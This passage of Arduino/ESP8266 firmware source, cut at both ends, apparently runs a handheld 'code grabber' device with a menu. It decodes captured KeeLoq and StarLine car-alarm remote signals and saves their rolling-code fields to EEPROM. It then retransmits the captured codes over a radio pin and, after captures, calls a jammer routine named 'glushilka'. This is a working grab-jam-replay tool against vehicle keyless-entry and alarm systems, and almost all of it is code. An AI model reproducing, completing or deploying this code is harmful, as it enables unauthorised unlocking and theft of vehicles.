| if(decodeMethod == 0){ | |
| Serial.println(" - keelog origin - "); | |
| } | |
| else{ | |
| Serial.println(" - keelog invert - "); | |
| } | |
| Serial.print(keelog_code[0], HEX); | |
| Serial.print(keelog_code[1], HEX); | |
| Serial.print(keelog_code[2], HEX); | |
| Serial.print(keelog_code[3], HEX); | |
| Serial.println("-hop"); | |
| Serial.print(keelog_code[4], HEX); | |
| Serial.print(keelog_code[5], HEX); | |
| Serial.print(keelog_code[6], HEX); | |
| Serial.println("-fix"); | |
| Serial.print(keelog_code[7], HEX); | |
| Serial.println("-btn"); | |
| Serial.print(keelog_code[8], HEX); | |
| Serial.println("-dop"); | |
| ///glushilka();////////////////////////glushilka | |
| smena = 10; | |
| display.clearDisplay(); | |
| delay(10); | |
| display.setTextColor(WHITE); | |
| display.setCursor(0,0); | |
| display.setTextSize(1); | |
| display.println("invertkeeloqCode"); | |
| display.setTextSize(1.5); | |
| display.print(keelog_code[0], HEX); | |
| display.print(keelog_code[1], HEX); | |
| display.print(keelog_code[2], HEX); | |
| display.print(keelog_code[3], HEX); | |
| display.println("-hop"); | |
| display.print(keelog_code[4], HEX); | |
| display.print(keelog_code[5], HEX); | |
| display.print(keelog_code[6], HEX); | |
| display.println("-fix"); | |
| display.print(keelog_code[7], HEX); | |
| display.println("-btn"); | |
| display.print(keelog_code[8], HEX); | |
| display.println("-dop"); | |
| display.println(k); | |
| delay(10); | |
| display.display(); | |
| //eprom | |
| // EEPROM.begin(3512); | |
| if(k<2){ | |
| EEPROM.begin(3512); | |
| EEPROM.write(0, keelog_code[0]); | |
| EEPROM.write(1,keelog_code[1]); | |
| EEPROM.write(2,keelog_code[2]); | |
| EEPROM.write(3,keelog_code[3]); | |
| EEPROM.write(4,keelog_code[4]);///fix | |
| EEPROM.write(5,keelog_code[5]);///fix | |
| EEPROM.write(6,keelog_code[6]);//fix | |
| EEPROM.write(7,keelog_code[7]); | |
| EEPROM.write(8,keelog_code[8]); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| k ++; | |
| } | |
| if(k>=2){ | |
| EEPROM.begin(3512); | |
| EEPROM.write(9,keelog_code[4]);///fix1bit | |
| EEPROM.write(19,keelog_code[0]);//hop 1bit | |
| EEPROM.write(41,keelog_code[5]);//fix5 | |
| EEPROM.write(43,keelog_code[6]);//fix6 | |
| EEPROM.write(42,keelog_code[1]);//hop 2bit | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| EEPROM.begin(3512); | |
| int hugaK = EEPROM.read(9);//sravnenie bitovfix-- 1bit(4) | |
| int hugaopK = EEPROM.read(4);//sravnenie bitovfix 1bit (4) | |
| int tashigipidr = EEPROM.read(6);///fix6 | |
| int tashigipidr2 = EEPROM.read(43);/////fix6 | |
| int hugazioK = EEPROM.read(5);//fix5 | |
| int hugazioKk = EEPROM.read(41);//fix5 | |
| int hugazioopKch = EEPROM.read(0);//1bit 1 pak | |
| int hugaKopzzch = EEPROM.read(19); | |
| int hugazioKoip = EEPROM.read(1);//первый бит | |
| int hugazioKoiip = EEPROM.read(42); | |
| int hugazioKkz = EEPROM.read(5);//fix5 | |
| int hugazioKkkz = EEPROM.read(15);//fix5 | |
| int tashigi = EEPROM.read(6);//fix5 | |
| int tashigi2 = EEPROM.read(16);//fix5 | |
| int tashigi3 = EEPROM.read(4);//fix5 | |
| int tashigi4 = EEPROM.read(14);//fix5 | |
| if(hugaK!=hugaopK&&hugazioK!=hugazioKk&&tashigipidr!=tashigipidr2){ | |
| k = 0; | |
| } | |
| if(hugaK==hugaopK&&hugazioK==hugazioKk&&tashigipidr==tashigipidr2&&hugazioopKch!=hugaKopzzch)///////////////hop srav&&hugazioKoiip!=hugazioKoip &&hugaKop!=hugazioopK | |
| { | |
| EEPROM.begin(3512); | |
| EEPROM.write(10, keelog_code[0]); | |
| EEPROM.write(11,keelog_code[1]); | |
| EEPROM.write(12,keelog_code[2]); | |
| EEPROM.write(13,keelog_code[3]); | |
| EEPROM.write(14,keelog_code[4]); | |
| EEPROM.write(15,keelog_code[5]); | |
| EEPROM.write(16,keelog_code[6]); | |
| EEPROM.write(17,keelog_code[7]); | |
| EEPROM.write(18,keelog_code[8]); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| k = 0; | |
| int zilk=0; | |
| for(int i = 10; i<19; i++){ | |
| EEPROM.begin(3512); | |
| hugazk[zilk] =EEPROM.read(i); | |
| display.print(hugazk[zilk],HEX); | |
| delay(3); | |
| display.display(); | |
| zilk++; | |
| } | |
| } | |
| if(hugazioKkz==hugazioKkkz&&tashigi==tashigi2&&tashigi3==tashigi4){ | |
| display.println(); | |
| display.println("one pack sig"); | |
| display.display(); | |
| //k = 0; | |
| } | |
| } | |
| EEPROM.begin(3512); | |
| keelog_codePAK2[0]=EEPROM.read(10); | |
| keelog_codePAK2[1]=EEPROM.read(11); | |
| keelog_codePAK2[2]=EEPROM.read(12); | |
| keelog_codePAK2[3]=EEPROM.read(13); | |
| keelog_codePAK2[4]=EEPROM.read(14); | |
| keelog_codePAK2[5]=EEPROM.read(15); | |
| keelog_codePAK2[6]=EEPROM.read(16); | |
| keelog_codePAK2[7]=EEPROM.read(17); | |
| keelog_codePAK2[8]=EEPROM.read(18); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| EEPROM.begin(3512); | |
| keelog_codePAK1[0]=EEPROM.read(0); | |
| keelog_codePAK1[1]=EEPROM.read(1); | |
| keelog_codePAK1[2]=EEPROM.read(2); | |
| keelog_codePAK1[3]=EEPROM.read(3); | |
| keelog_codePAK1[4]=EEPROM.read(4); | |
| keelog_codePAK1[5]=EEPROM.read(5); | |
| keelog_codePAK1[6]=EEPROM.read(6); | |
| keelog_codePAK1[7]=EEPROM.read(7); | |
| keelog_codePAK1[8]=EEPROM.read(8); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| } | |
| void keelog_send(byte* keelog_code){ | |
| Serial.println("- sending keelog -"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(keelog_code[i], HEX); | |
| Serial.print(" - "); | |
| } | |
| for(int i = 0; i<11; i++){//посылаем преамблу | |
| send_meander(400); | |
| } | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(keelog_code[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(keelog_code[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| //pak2 | |
| void keelog_sendPAK2(byte* keelog_codePAK2){ | |
| Serial.println("- sending keelog -ss-"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(keelog_codePAK2[i], HEX); | |
| Serial.print(" -zz "); | |
| } | |
| for(int i = 0; i<11; i++){//посылаем преамблу | |
| send_meander(400); | |
| } | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(keelog_codePAK2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(keelog_codePAK2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(2*400); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(2*400); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(400); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| void keelog_get(){ | |
| bValidPacket = false; | |
| if(keelog_state==0){//ждем преамбулу и хедер | |
| if(difTime > 280 && difTime < 620 && lastRxValue != tempRxValue){ | |
| keelogCounter ++; | |
| } | |
| else{ | |
| if(keelogCounter==23){ | |
| if(difTime>2800 && difTime<6200 && lastRxValue == 0){ | |
| keelog_state=1; | |
| } | |
| } | |
| keelogCounter = 0; | |
| } | |
| } | |
| else if(keelog_state==1){// получаем биты | |
| if(difTime > 560 && difTime < 1240 && lastRxValue == 1){// получили 1 | |
| if(decodeMethod==0){ | |
| keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]>>1)|B10000000; | |
| } | |
| else{ | |
| keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]<<1)|B00000000; | |
| } | |
| bValidPacket = true; | |
| } | |
| else if(difTime > 280 && difTime < 620 && lastRxValue == 1){ | |
| if(decodeMethod==0){ | |
| keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]>>1)|B00000000; | |
| } | |
| else{ | |
| keelog_code[round(keelogCounter/8)] = (keelog_code[round(keelogCounter/8)]<<1)|B00000001; | |
| } | |
| bValidPacket = true; | |
| } | |
| else if(lastRxValue == 0){ | |
| } | |
| else{ | |
| keelog_state=1; | |
| keelogCounter = 0; | |
| } | |
| if(bValidPacket){ | |
| keelogCounter++; | |
| if(keelogCounter==66){ | |
| keelog_vardump(); | |
| keelogCounter = 0; | |
| keelog_state = 0; | |
| /////// glushilka(); | |
| } | |
| } | |
| } | |
| } | |
| //keelog end | |
| ///uuuaaaaaaaa che ya nadelal)))))))) IIIIIIzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSTAAAAAAAAAAAAAAAAARRRRRRRRRRzzzzzzz | |
| //statline pomba | |
| void starline_vardump(){ | |
| if(decodeMethod == 0){ | |
| Serial.println(" - starline origin - "); | |
| } | |
| else{ | |
| Serial.println(" - starline invert - "); | |
| } | |
| Serial.print(starline_code[0], HEX); | |
| Serial.print(starline_code[1], HEX); | |
| Serial.print(starline_code[2], HEX); | |
| Serial.print(starline_code[3], HEX); | |
| Serial.println("-hop"); | |
| Serial.print(starline_code[4], HEX); | |
| Serial.print(starline_code[5], HEX); | |
| Serial.print(starline_code[6], HEX); | |
| Serial.println("-fix"); | |
| Serial.print(starline_code[7], HEX); | |
| Serial.println("-btn"); | |
| Serial.print(starline_code[8], HEX); | |
| Serial.println("-dop"); | |
| ///proda vibrosaaaaaaaaaaaaaaaa | |
| ///proda vibrosaaaaaaaaaaaaaaaa | |
| smena = 1; | |
| display.clearDisplay(); | |
| delay(3); | |
| display.setTextColor(WHITE); | |
| display.setCursor(0,0); | |
| display.setTextSize(1); | |
| display.println("invertstarlineCode"); | |
| display.setTextSize(1.5); | |
| display.print(starline_code[0], HEX); | |
| display.print(starline_code[1], HEX); | |
| display.print(starline_code[2], HEX); | |
| display.print(starline_code[3], HEX); | |
| display.println("-hop"); | |
| display.print(starline_code[4], HEX); | |
| display.print(starline_code[5], HEX); | |
| display.print(starline_code[6], HEX); | |
| display.println("-fix"); | |
| display.print(starline_code[7], HEX); | |
| display.println("-btn"); | |
| display.print(starline_code[8], HEX); | |
| display.println("-dop"); | |
| display.println(kk);//////////////////////////otladka | |
| delay(10); | |
| display.display(); | |
| glushilka();///////////////////////////////////////////////glushilka | |
| //eprom | |
| // EEPROM.begin(3512); | |
| if(kk<2){ | |
| EEPROM.begin(3512); | |
| EEPROM.write(20, starline_code[0]); | |
| EEPROM.write(21,starline_code[1]); | |
| EEPROM.write(22,starline_code[2]); | |
| EEPROM.write(23,starline_code[3]); | |
| EEPROM.write(24,starline_code[4]); | |
| EEPROM.write(25,starline_code[5]); | |
| EEPROM.write(26,starline_code[6]); | |
| EEPROM.write(27,starline_code[7]); | |
| EEPROM.write(28,starline_code[8]); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| kk = 2; | |
| } | |
| if(kk>=2){ | |
| EEPROM.begin(3512); | |
| EEPROM.write(129,starline_code[0]);////gop 3 | |
| // Serial.println("-Srab"); | |
| ///////////////////////////////////////////////zapis sverki fix | |
| EEPROM.write(104,starline_code[4]); | |
| EEPROM.write(105,starline_code[5]); | |
| EEPROM.write(106,starline_code[6]); | |
| EEPROM.write(100, starline_code[0]); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| EEPROM.begin(3512); | |
| int hugaS = EEPROM.read(25);//sravnenie bitov-FIX-5 | |
| int hugazioS = EEPROM.read(105);//bitov-FIX-5 | |
| int hugaopS = EEPROM.read(24);//sravnenie bitovbitov-FIX-4 | |
| int hugazioopS = EEPROM.read(104);//bitov-FIX-4 | |
| int hugaopSA = EEPROM.read(26);//sbitov-FIX-6 | |
| int hugazioopSA = EEPROM.read(106);//bitov-FIX-6 | |
| int hugaS1bit = EEPROM.read(129);//sravnenie gop 3 | |
| int hugazioS1bit = EEPROM.read(20);//gop 3 | |
| // int huga = EEPROM.read(0);//sravnenie bitov | |
| // int hugazio = starline_code[0];// | |
| int zyS=29; | |
| if(hugaS==hugazioS&&hugaopS==hugazioopS&&hugaopSA==hugazioopSA&&hugaS1bit!=hugazioS1bit)//////////////&&hugaS1bit!=hugazioS1bit//////&&hugaS1bit!=hugazioS1bit hop srav | |
| { | |
| EEPROM.begin(3512); | |
| EEPROM.write(30, starline_code[0]); | |
| EEPROM.write(31,starline_code[1]); | |
| EEPROM.write(32,starline_code[2]); | |
| EEPROM.write(33,starline_code[3]); | |
| EEPROM.write(34,starline_code[4]); | |
| EEPROM.write(35,starline_code[5]); | |
| EEPROM.write(36,starline_code[6]); | |
| EEPROM.write(37,starline_code[7]); | |
| EEPROM.write(38,starline_code[8]); | |
| EEPROM.commit(); | |
| EEPROM.end(); | |
| kk = 0; | |
| int zil=0; | |
| for(int i = 30; i<39; i++){ | |
| EEPROM.begin(3512); | |
| hugaz[zil] =EEPROM.read(i); | |
| display.print(hugaz[zil],HEX); | |
| delay(3); | |
| display.display(); | |
| zil++; | |
| } | |
| }//proverennaya | |
| int hugazioS1bit30 = EEPROM.read(30); | |
| if(hugaS==hugazioS&&hugaopS==hugazioopS&&hugaopSA==hugazioopSA&&hugaS1bit==hugazioS1bit30) { | |
| kk = 0; | |
| glushilka(); | |
| } | |
| if(hugaS!=hugazioS&&hugaopS!=hugazioopS&&hugaopSA!=hugazioopSA) { | |
| kk = 0; | |
| glushilka(); | |
| } | |
| } | |
| //srav fixEEPROM.begin(3512); | |
| EEPROM.begin(3512); | |
| int huga4S =EEPROM.read(24); | |
| int huga44S =EEPROM.read(34); | |
| int huga4Skop =EEPROM.read(25); | |
| int huga44Skop =EEPROM.read(35); | |
| if(huga4S==huga44S&&huga44Skop==huga4Skop){ | |
| display.println(); | |
| display.print("one pack sig"); | |
| delay(10); | |
| display.display(); | |
| } | |
| //pak2 | |
| // for(int li = 10; li<19; li++){ | |
| // int i=0; | |
| // keelog_codePAK2[i]=EEPROM.read(li); | |
| // Serial.print(keelog_codePAK2[i],HEX); | |
| // delay(100); | |
| // i++; | |
| // Serial.print(keelog_codePAK2[i],HEX); | |
| // } | |
| EEPROM.begin(3512); | |
| starline_codePAK2[0]=EEPROM.read(30); | |
| starline_codePAK2[1]=EEPROM.read(31); | |
| starline_codePAK2[2]=EEPROM.read(32); | |
| starline_codePAK2[3]=EEPROM.read(33); | |
| starline_codePAK2[4]=EEPROM.read(34); | |
| starline_codePAK2[5]=EEPROM.read(35); | |
| starline_codePAK2[6]=EEPROM.read(36); | |
| starline_codePAK2[7]=EEPROM.read(37); | |
| starline_codePAK2[8]=EEPROM.read(38); | |
| //for(int i = 0; i<9; i++){ | |
| // Serial.println(starline_codePAK2[i],HEX); | |
| // delay(100); | |
| // } | |
| // int huga =EEPROM.read(0); | |
| // int huga1 =EEPROM.read(1); | |
| // int huga2 =EEPROM.read(2); | |
| // int huga3 =EEPROM.read(3); | |
| // int huga4 =EEPROM.read(4); | |
| // int huga5 =EEPROM.read(5); | |
| // int huga6 =EEPROM.read(6); | |
| // int huga7 =EEPROM.read(7); | |
| // int huga8 =EEPROM.read(8); | |
| // display.setTextColor(WHITE); | |
| // display.setTextSize(1); | |
| // display.print(huga,HEX); | |
| // display.print(huga1,HEX); | |
| // display.print(huga2,HEX); | |
| // display.print(huga3,HEX); | |
| // display.print(huga4,HEX); | |
| // display.print(huga5,HEX); | |
| // display.print(huga6,HEX); | |
| // display.print(huga1,HEX); | |
| // display.print(huga7,HEX); | |
| // display.print(huga8,HEX); | |
| // delay(100); | |
| // display.display(); | |
| //Serial.println(EEPROM.read(0),HEX); // выводим значение в послед. порт | |
| // | |
| /*for(int i = 0; i<9; i++){ | |
| Serial.print(starline_code[i], HEX); | |
| Serial.print(" - "); | |
| }*/ | |
| // starline_send(starline_code); | |
| // digitalWrite(TX, HIGH); | |
| // delay(100); | |
| // digitalWrite(TX, LOW); | |
| // starline_sendPAK2(starline_codePAK2); | |
| // starline_state = 0; | |
| // for(int i = 0; i<9; i++){ | |
| // starline_code[i]=0; | |
| // } | |
| } | |
| void starline_send(byte* starline_code){ | |
| Serial.println("- sending staray -"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(starline_code[i], HEX); | |
| Serial.print(" - "); | |
| } | |
| for(int i = 0; i<13; i++){//посылаем преамблу//13 srab | |
| send_meander(1000); | |
| } | |
| // digitalWrite(TX, HIGH); | |
| // delayMicroseconds(1000); | |
| // digitalWrite(TX, LOW); | |
| // delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(starline_code[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(starline_code[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| //pak2 | |
| void starline_sendPAK2(byte* starline_codePAK2){ | |
| Serial.println("- sending staraylayn -ss-"); | |
| for(int i = 0; i<9; i++){ | |
| Serial.print(starline_codePAK2[i], HEX); | |
| Serial.print(" -zz "); | |
| } | |
| for(int i = 0; i<13; i++){//посылаем преамблу | |
| send_meander(1000); | |
| } | |
| // digitalWrite(TX, HIGH); | |
| // delayMicroseconds(400); | |
| // digitalWrite(TX, LOW); | |
| // delayMicroseconds(4000);//посылаем хедер | |
| for( int i = 0; i<9; i++){ | |
| if(decodeMethod==1){ | |
| for(int i2 = 7;i2>=0;i2--){ | |
| if(bitRead(starline_codePAK2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| else{ | |
| for(int i2 = 0;i2<8;i2++){ | |
| if(!bitRead(starline_codePAK2[i], i2)){ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(250); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(250); | |
| } | |
| else{ | |
| digitalWrite(TX, HIGH); | |
| delayMicroseconds(500); | |
| digitalWrite(TX, LOW); | |
| delayMicroseconds(500); | |
| } | |
| } | |
| } | |
| } | |
| } | |
| void starline_get(){ | |
| bValidPacket = false; | |
| if(starline_state==0){//ждем преамбулу и хедер | |
| if(difTime2 > 900 && difTime2 < 1100 && lastRxValue ==1 ){ | |
| starlineZpreambulaCounter ++; | |
| } | |
| if(starlineZpreambulaCounter==6){ | |
| starline_state=1; | |
| } | |
| // else{ | |
| // starlineZCounter = 0; | |
| // } | |
| } | |
| /////////////////////////////////////////////////////PREAMBULA STARA/////////////////////////////////////////////////////////////////////////// | |
| else if(starline_state==1){// получаем биты | |
| if(difTime2 > 350 && difTime2 < 650 && lastRxValue == 1){// получили 1 | |
| if(decodeMethod==0){ | |
| starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]>>1)|B10000000; | |
| } | |
| else{ | |
| starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]<<1)|B00000000; | |
| } | |
| bValidPacket = true; | |
| } | |
| else if(difTime2 > 150 && difTime2 < 350 && lastRxValue == 1){ | |
| if(decodeMethod==0){ | |
| starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]>>1)|B00000000; | |
| } | |
| else{ | |
| starline_code[round(starlineZCounter/8)] = (starline_code[round(starlineZCounter/8)]<<1)|B00000001; | |
| } | |
| bValidPacket = true; | |
| } | |
| else if(lastRxValue == 0){ | |
| } | |
| else{ | |
| starline_state=1; | |
| starlineZCounter = 0; | |
| } | |
| if(bValidPacket){ | |
| starlineZCounter++; | |
| if(starlineZCounter==64){ //64ili66 | |
| starline_vardump(); | |
| starlineZCounter = 0; | |
| starline_state = 0; | |
| starlineZpreambulaCounter = 0; /////////novshetch | |
| starkk++; /////////shetchik | |
| glushilka(); | |
| } | |
| } | |
| } | |
| } | |
| //stara end zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzSSSSTTTTTARRRRRRRRRRRRZZZZZZZZZZZZZZZZzzzzzzzzzzzz | |
| void startgrabber(){ | |
| tempRxValue = digitalRead(rxPin); | |
| if(tempRxValue != lastRxValue){ | |
| tempTime = micros(); | |
| difTime = tempTime - lastRxTime; | |
| difTime2 = tempTime - lastRxTime; | |
| keelog_get(); | |
| starline_get(); | |
| //grab(tempTime - lastRxTime, lastRxValue); | |
| lastRxTime = tempTime; | |
| lastRxValue = tempRxValue; | |
| } | |
| } | |
| //menu UUUUUUUUUUUUUUUUUUUMENUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU | |
| void grabmenu(){ | |
| drawMenu(); | |
| downButtonState = digitalRead(9); | |
| selectButtonState = digitalRead(D3); | |
| upButtonState = digitalRead(D4); | |
| checkIfDownButtonIsPressed(); | |
| checkIfUpButtonIsPressed(); | |
| checkIfSelectButtonIsPressed(); | |
| if (up && page == 1 ) { | |
| up = false; | |
| menuitem--; | |
| tone(tonePin, 661, 156.2499375); | |
| if (menuitem==0) | |
| { | |
| menuitem=4; | |
| } | |
| }else if (up && page == 2 ) { | |
| up = false; | |
| contrast--; | |
| setContrast(); | |
| } | |
| if (down && page == 1) { | |
| down = false; | |
| menuitem++; | |
| tone(tonePin, 2661, 156.2499375); | |
| if (menuitem==5) | |
| { | |
| menuitem=1; | |
| } | |
| } | |
| else if (down && page == 2 ) | |
| { | |
| down = false; | |
| contrast++; | |
| setContrast(); | |
| } | |
| //5stranica | |
| if (up && page == 5 ) { | |
| up = false; | |
| menuitem--; | |
| tone(tonePin, 661, 156.2499375); | |
| if (menuitem==0) | |
| { | |
| menuitem=1; | |
| } | |
| } | |
| if (down && page == 5) { | |
| down = false; | |
| menuitem++; | |
| kiop++; | |
| tone(tonePin, 2661, 156.2499375); | |
| if (menuitem==5) | |
| { | |
| menuitem=1; | |
| } | |
| } | |
| //////////////////////////////// | |
| //3stranica | |
| if (up && page == 3 ) { | |
| up = false; | |
| menuitem--; | |
| tone(tonePin, 661, 156.2499375); | |
| if (menuitem==0) | |
| { | |
| menuitem=1; | |
| } | |
| } | |
| if (down && page == 3) { | |
| down = false; | |
| menuitem++; | |
| kiop++; | |
| tone(tonePin, 2661, 156.2499375); | |
| if (menuitem==5) | |
| { | |
| menuitem=1; | |
| } | |
| } | |
| //////////////////////////////// | |
| /////////////////////////////////////////////////11///////////////////////////////////////////////////////////////// | |
| if (up && page == 11 ) { | |
| up = false; | |
| menuitem--; | |
| tone(tonePin, 661, 156.2499375); | |
| if (menuitem==0) | |
| { | |
| menuitem=1; | |
| } | |
| } | |
| if (down && page == 11) { | |
| down = false; | |
| menuitem++; | |
| kiop++; | |
| tone(tonePin, 2661, 156.2499375); | |
| if (menuitem==5) | |
| { | |
| menuitem=1; | |
| } | |
| } | |
| /////////////////////////////////////////////////11 END///////////////////////////////////////////////////////////////// | |
| //////////////////////////////////////////////////////////20///////////////////////////////////////////////////////////////////////// | |
| if (up && page == 20 ) { | |
| up = false; | |
| menuitem--; | |
| tone(tonePin, 661, 156.2499375); | |
| if (menuitem==0) | |
| { | |
| menuitem=1; | |
| } | |
| } | |
| if (down && page == 20) { | |
| down = false; | |
| menuitem++; | |
| kiop3++; | |
| tone(tonePin, 2661, 156.2499375); | |
| if (menuitem==5) | |
| { | |
| menuitem=1; | |
| } | |
| } | |
| if (middle) { | |
| middle = false; | |
| if (page == 1 && menuitem==2) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=5; | |
| chistikmemory(); | |
| } | |
| /////5 STR VIBOR | |
| if (page == 5 && menuitem==1) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=6; | |
| chistikmemorystar(); | |
| } | |
| ///////////////////////////// | |
| if (page == 5 && menuitem==4) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=7; | |
| chistikmemorykeeloq(); | |
| } | |
| if (page == 5 && menuitem==2&&kiop>=3) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=8; | |
| chistikmemory(); | |
| } | |
| /////5 STR VIBOR END | |
| ///////////////////////////////////////PAGE 9 VIBOR/////////////////////////////////// | |
| if (page == 3 && menuitem==1) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=9; | |
| } | |
| if (page == 3 && menuitem==2) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=10; | |
| } | |
| if (page == 3 && menuitem==4) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=20; | |
| } | |
| /////////////////////////////////////////////////11/////////////////////////////////// | |
| if (page == 11 && menuitem==1) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=12; | |
| } | |
| if (page == 11 && menuitem==2) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=13; | |
| } | |
| if (page == 11 && menuitem==3) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=14; | |
| } | |
| ///////////////////////////////////////PAGE 9 VIBOR END/////////////////////////////////// | |
| ////////////////////////////20//////////////////////////////////// | |
| if (page == 20 && menuitem==1) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=15; | |
| } | |
| if (page == 20 && menuitem==2) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=21; | |
| } | |
| if (page == 20 && menuitem==4&&kiop3>3) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=22; | |
| } | |
| if (page == 20 && menuitem==3) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| ///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| if(page == 1 && menuitem ==3) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=11; | |
| } | |
| if(page == 1 && menuitem ==4) | |
| { | |
| tone(tonePin, 300, 156.2499375); | |
| page=3; | |
| } | |
| else if (page == 1 && menuitem==1) { | |
| tone(tonePin, 300, 156.2499375); | |
| page=4; | |
| chistik(); | |
| } | |
| else if (page == 2) { | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| else if (page == 3) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| else if (page == 4) { | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| else if (page == 5) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=1; | |
| } | |
| } | |
| /////////////////////////////////////////11 | |
| //////////////////////////////////////////9 PAGE////////////////////////////// | |
| else if (page == 9) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=3; | |
| } | |
| } | |
| else if (page == 10) { | |
| if(digitalRead(D3)==LOW&&digitalRead(D4)==LOW){ | |
| tone(tonePin, 300, 156.2499375); | |
| page=3; | |
| } | |
| } | |
| //////////////////////////////////////////////////////////////////////////////////////////////////////////// | |
| else if (page == 6) { | |
